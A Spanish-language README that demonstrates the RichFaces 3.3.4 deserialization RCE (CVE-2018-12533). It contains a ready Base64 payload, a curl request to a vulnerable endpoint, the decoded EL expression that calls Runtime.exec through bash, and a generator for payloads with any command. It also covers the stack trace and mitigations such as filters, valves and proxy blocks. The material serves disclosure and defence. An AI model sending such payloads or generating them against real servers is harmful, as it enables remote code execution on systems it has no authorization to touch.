
Demuestra la ejecución remota de código CVE-2018-12533 en RichFaces 3.3.4. Incluye generación de payloads, análisis de deserialización de Java y estrategias de mitigación mediante filtros o válvulas.
Detalles de la CVE-2018-12533. Otras versiones de RichFaces son vulnerables, como se puede ver aquí.
export PAYLOAD_BASE64_RICHFACES='eJx1k8-LFEcUx98MuKtZD0YhIQTJOkpmBrarZ2ZdWdksmv2BGZg14oigEoY3NW-7a62u6q16M9PrYm5evHr1llMgAcG!wJsEctk!IR4kh4CE5Bzp7tUlktSlisenvu9Lfev99Acc8w4uWRcJp2S8jZK8cGRG5O4rFjEnWtxAZbizcZO8HTtJF7oJRrSBjKsvD3479c-Pz6ow24Xjg2G0brV1XZgdbFuXIOenmFQUcxdmBlM14vgunJAoY8Khph4cG4yQkeF0bwcnGGo0UfjtcIckr!RgZpDmjXfhe6hkKZSrAgBfAICF1Dv4Mr-WidK1tElqDRkWfUamb6wekevjhNydX56vPnn661YVqj04ITV6fx0T-nffPjtlopUefORxQqNCg-GTklA27JNTqNWD3PlKlubt69Imwo9NYUATe0Fa9ChCubdFHNvRmjIjZaJ33qtQ6UElYfi8UM1C0mEJbmapI--VNSvZ!yrfwuhD-p3ySYDMwWflc5AWH3J4-q8La692uVpwZ95zR8QPjx73!7x78FVO5A7O5V9iZ2i9!y-9bpLq4ZtP!5578fFW3jsPae4BQGWuMnt-v8hj3RqmjEVEvJkxOYP6sNRo5sX1PIZGU2xbl4fRqJWmvHQqZdEvtk0TKUNbaDAiV2sKQ9Ou8YxGUilSAmt7hwq-1hQ0QV2KiTxXcXNsWCWU04fHRlNQRrJxrz5EH9cX6oGsL9TZjmU8H3KShu8nIZiMtSGHQ6UV7wVyQkGn1V4O2p2lxcXAbQfti4vtVtBpdZZa7VYnaLdbF5eW6981a82HAGMHZ-71jpwc!rCfD26!!v3s!rXipQGgymUgAqcsrjlMYyV9Z4Ph1NHVcijSNJt-DVfCiaKpD6U1fqwZb-DIoRVZPqvzVy8vLyy154vJWa2d35eYsoxxjdCIoviwlr0F6sFSwQ__'
curl "http://localhost:8080/myapp/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/${PAYLOAD_BASE64_RICHFACES}.seam"
Después de DATA/ y hasta antes de .seam, está el payload del ataque. Esto es solo una clase Java serializada, comprimida y codificada en Base64. Es un Base64 con el formato ligeramente modificado por RichFaces para ser compatible con la URL.
Esa clase contiene una línea de comando en formato Expression Language que es ejecutada por la aplicación, más precisamente por RichFaces, y ahí está el problema, porque se puede ejecutar código arbitrario en el servidor.
El comando que está codificado en el payload anterior es
touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458(solo con fines de demostración) y lo comprobaremos a continuación.
git clone [email protected]:mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310.git
cd richfaces-vulnerability-cve-2018-12533-rf-14310
echo "${PAYLOAD_BASE64_RICHFACES}" | \
sed 's/-/+/g' | \
sed 's#!#/#g' | \
sed 's/_/=/g' | \
base64 -d | \
zlib-flate -uncompress > UmaClasse.serialized-class.bin
Convierte el payload del formato Base64 de RichFaces al formato estándar de Base64. Decodifica el Base64, que en este caso es un binario comprimido, luego lo descomprime, lo que generará el binario de la clase java serializada.
Aquí veremos el comando malicioso que está dentro del payload.
El comando siguiente mostrará todos los atributos de la clase y los respectivos tipos definidos en la clase. No muestra los tipos en tiempo de ejecución; si no sabes qué significa eso, no hay problema.
Aquí estamos ejecutando código Java como si fuera un script gracias a JBang
chmod +x JavaObjectDeserializer.java
./JavaObjectDeserializer.java UmaClasse.serialized-class.bin
La salida es algo parecido a esto:
Objeto java convertido a JSON:
{
"_width (int)": 111,
"_height (int)": 31,
"_data (java.lang.Object)": null,
"_format (int)": 1,
"_paint (java.lang.Object)": {
"className (java.lang.String)": null,
"savedState (java.io.Serializable)": {
"m (javax.el.MethodExpression)": {
"attr (java.lang.String)": "/views/consultaPadrao.xhtml @98,51 paint=\"#{captchaBean.paint}\"",
"orig (javax.el.MethodExpression)": {
"expectedType (java.lang.Class)": null,
"expr (java.lang.String)": "#{facesContext.getExternalContext().getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec(['bash','-c','touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458'])\")}",
"fnMapper (javax.el.FunctionMapper)": null,
"varMapper (javax.el.VariableMapper)": null,
"paramTypes ([Ljava.lang.Class;)": [
"java.awt.Graphics2D",
"java.lang.Object"
]
}
}
}
},
"cacheable (boolean)": false,
"_bgColor (int)": 0
}
Archivo .class guardado en: org.richfaces.renderkit.html.Paint2DResource$ImageData.class
⚠️ El punto principal es el atributo _paint.savedState.m.orig.expr, donde está el código malicioso, que en este ejemplo es solo un código inofensivo que crea un archivo en disco: touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458
chmod +x Generator_Paint2DResourceImageData.java
./Generator_Paint2DResourceImageData.java
# o
./Generator_Paint2DResourceImageData.java <un comando aquí>
./Generator_Paint2DResourceImageData.java touch /tmp/alguien-estuvo-aqui
La salida mostrará los comandos para que los ejecutes contra un servidor vulnerable. Ajusta solo la URL.
Una opción menos simple y más performante es modificar el código de RichFaces para hacer algún tratamiento. Más abajo está la pila relevante.
Otra opción más simple que la anterior es crear un filtro (javax.servlet.Filter), que actuará solo en el path en cuestión, deserializando el Base64 presente en el path y realizando la verificación correspondiente para determinar si la solicitud puede continuar o debe ser rechazada. Es importante destacar que la deserialización debe realizarse mediante la clase LookAheadObjectInputStream, como se hace en org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String), para intentar evitar al máximo problemas de seguridad durante la deserialización, como por ejemplo ejecución de código malicioso.
Una opción es bloquear el path del endpoint en algún proxy que esté delante de la aplicación.
Otra opción, que creo que vale la pena implementar, pero que no exime la primera opción, es crear un filtro (javax.servlet.Filter), que actuará solo en el path en cuestión y bloqueará el acceso. El bloqueo consiste simplemente en responder a la solicitud sin dejar que la cadena de filtros continúe la ejecución. Puedes poner un texto en el body y usar el código de estado HTTP 410 (Gone). Recuerda que este filtro debe definirse en el web.xml de la aplicación. Un ejemplo de este filtro: PathBlockerFilter.
Si usas JBoss EAP, el filtro mencionado aquí puede implementarse como un valve (el cambio es mínimo), y:
- se ejecutará antes de los filtros definidos en el
web.xml- debe definirse en el archivo
jboss-web.xmlcomo el primer<valve>, o- puede definirse en el standalone.xml (o domain.xml) en el subsistema
urn:jboss:domain:webmediante la etiqueta<valve- Ejemplo de este valve: PathBlockerValve
tl;dr: el código malicioso se ejecuta mediante el método
org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext), en la líneapaint.invoke(facesContext, new Object[] {graphics,data._data});.
Cuando se realiza la solicitud http, esta llega al método org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String), según la pila siguiente:
Daemon Thread [http-0.0.0.0:8080-1] (Suspended)
owns: org.apache.coyote.Request (id=27053)
org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(java.lang.String) line: 366
org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 156
org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141
dataString = key.substring(dataStart); se extrae el Base64 en el formato de RichFaces (recordando que este Base64 al final es un objeto java que fue serializado y comprimido);objectArray = decrypt(dataArray) este Base64 se decodifica y descomprime;data = in.readObject() el objeto java con el código malicioso se deserializa, es decir, se obtiene la instancia del objeto.Luego la solicitud llega al método org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext), según la pila siguiente:
Daemon Thread [http-0.0.0.0:8080-1] (Suspended (breakpoint at line 187 in org.richfaces.renderkit.html.Paint2DResource))
owns: org.apache.coyote.Request (id=27053)
org.richfaces.renderkit.html.Paint2DResource.send(org.ajax4jsf.resource.ResourceContext) line: 187
org.ajax4jsf.resource.ResourceLifecycle.sendResource(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 221
org.ajax4jsf.resource.ResourceLifecycle.send(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 148
org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 226
org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141
⚠️ Entonces en la línea paint.invoke(facesContext, new Object[] {graphics,data._data}); el código malicioso se ejecuta finalmente.
Voy a mencionar un caso, el componente rich:paint2D: https://docs.jboss.org/richfaces/latest_3_3_X/en/devguide/html_single/#rich_paint2D
Es posible ver el payload recibido por la aplicación activando el log DEBUG en la clase org.ajax4jsf.resource.ResourceBuilderImpl.